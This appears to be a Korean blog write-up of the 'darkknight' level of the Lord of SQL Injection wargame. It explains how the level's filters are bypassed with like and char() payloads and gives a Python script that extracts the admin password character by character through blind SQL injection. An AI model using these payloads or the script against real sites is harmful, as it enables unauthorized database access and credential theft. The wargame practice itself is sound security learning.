도카이트

[Wargame] Lord of SQL Injection - darkknight 본문

Wargame/Lord of SQL Injection

[Wargame] Lord of SQL Injection - darkknight

dodoh4t 2022. 6. 9. 21:46
728x90
반응형

문제 화면

[LoS - darknight]

- preg_match 함수를 통해 필터링을 무자비하게 많이 걸어놨다…

- pw 값에 대하여 싱글쿼터를 필터링 하고 있으며,

- no 값에 대해서는 싱글 쿼터와, substr, ascii 문자열을 비롯한 각종 특수문자를 필터링하고 있다.

- 눈여겨 보아야 할 점은 8행의 $query 변수의 선언인듯 하다.

- pw의 경우 싱글 쿼터로 감싸져있으나, and 구문 이후 no 값은 싱글 쿼터로 감싸져 있지 않다.

- 최종적으로는 admin의 pw 값을 알아내야 하는 Blind SQL Injection 문제이다.

- no 값이 그나마 공격에 용이한 부분일 듯하여, no 값에 쿼리문을 삽입하여 공격을 시도해보도록 한다.

 

 

or 구문과 like, char() 함수를 이용한 필터링 우회

[or 구문과 like, char() 함수를 이용한 필터링 우회]

- 위 예제에 사용한 구문은 다음과 같다.

- pw=1&no=1 or id like char(97,100,109,105,110)
- = 의 경우 like로 대체하여 = 에 대한 필터링을 우회하였으며,

- admin 문자열 입력에 필요한 싱글 쿼터 삽입의 경우 char 함수를 이용하여 싱글 쿼터에 대한 필터링을 우회하였다.

- 필터링 우회에 성공하여 Hello admin이 출력되는 모습을 확인할 수 있다.

- 해당 내용의 경우 LoS - goblin 문제와 동일한 부분이므로 다시 참고하면 좋을 듯 하다!

 

 

[Wargame] Lord of SQL Injection - goblin

문제 화면 - id 값이 admin으로 결과를 출력하면 해당 문제가 Clear 되는듯 하다. - 그러나 이번에는 id 값이 guest로 이미 입력이 되어있다. - 추가로 쿼터의 사용(’’,””)을 필터링 하고 있다. - no

dyeonee.tistory.com

 

 

no 값에 쿼리문을 삽입한 SQL Injection 공격이 성공하였으므로, pw의 길이와 pw 값을 알아내는 쿼리문 또한 no 값에 작성하여 시도한다. 먼저 pw 길이 값부터 알아내보자 ! 이전 모든 문제들이 pw 길이 값으로 8로 동일했으므로,

이번에는 처음부터 8을 대입하여 시도해보도록 하자..!

 

 

length(pw)를 이용한 admin의 pw 길이 값 유추

[length(pw)를 이용한 admin의 pw 길이 값 유추]

- (이쯤되면 정말로 모든 Blind SQL Injection 문제의 pw 길이 값이 8인게 아닐까..??)

- URL 인코딩으로 인해 URL 길이가 너무 길어져 주소창 부분은 캡처를 생략하였다.

- admin의 pw 길이 값을 획득하는데 사용한 구문은 다음과 같다.

- pw=1&no=1 or id like char(97,100,109,105,110) and length(pw) like 8%23

- 이전 예제를 그대로 활용하되, and 구문을 통한 length(pw) 부분만 추가한 쿼리문이다.

- 짐작한 바와 같이, 이번 문제도 admin의 pw 길이가 총 8자리임을 확인할 수 있다.

- 파이썬의 requests 모듈을 이용하여 admin의 pw 값을 획득해보자 !

 

 

los_darkknight.py 작성

import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
pw = ""

for i in range(1, 9):
    for j in range(33, 128):
        target_url = url+"?pw=1&no=1 or id like char(97,100,109,105,110) and right(left(pw,{}),1) like \"{}\"%23 ".format(i,chr(j))
        cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
        r = requests.get(url=target_url, cookies=cookies)
        
        if "Hello admin" in r.text:
            pw += chr(j)
            print(str(i)+"번째 자리 패스워드 : "+chr(j))
            break
print("패스워드 : "+pw)

- pw 값을 알아내기 위한 Blind SQL Injection 구문의 경우 이전 문제들보다 살짝 번거로워졌다.

- substr 문자열을 필터링 하므로, 이전 golem 문제와 동일하게 right 함수와 left 함수를 중첩하여 사용하였다.

- substr 문자열 필터링 시의 right, left 함수 중첩에 관한 예제로 이전 golem 문제 풀이 포스팅을 참고하면 좋을 듯 하다.

- right(left(pw,{}),1) like 이후 문자열을 대입하는 부분에서 싱글 쿼터에 대한 필터링을 우회해야 한다.

- 싱클 쿼터 대신 더블 쿼터(””)를 이용하여 문자열을 대입하였다.

- 또한 문제의 소스코드에서 확인할 수 있듯이, $query 변수를 더블 쿼터를 통해 감싸고 있으므로,

- 대입할 문자열을 감싸는 양 더블 쿼터 앞에 역슬래시(\)를 추가하여 더블 쿼터로 감싸진 문장 안에서

  추가적으로 더블 쿼터가 정상적으로 입력될 수 있도록 코드 작성에 유의한다.

 

 

[Wargame] Lord of SQL Injection - golem

문제 화면 - 6행의 preg_match() 함수를 통해 or, and 구문 그리고 substr 함수와 = 에 대한 필터링이 이루어지고 있다. - 또한 마지막에서 3번째 행을 통해 admin의 pw 값을 직접 알아내야함을 알 수 있다. -

dyeonee.tistory.com

 

 

 

los_darkknight.py 실행 결과 및 darkknight 문제 Clear

[los_darkknight.py 실행 결과 및 darkknight 문제 Clear]

- 8자리의 패스워드에 관한 값들을 모두 획득하였다 !

- pw 값으로 획득한 8자리 값들을 입력 시, 성공적으로 darkknight 문제를 Clear 할 수 있다 !

728x90
Comments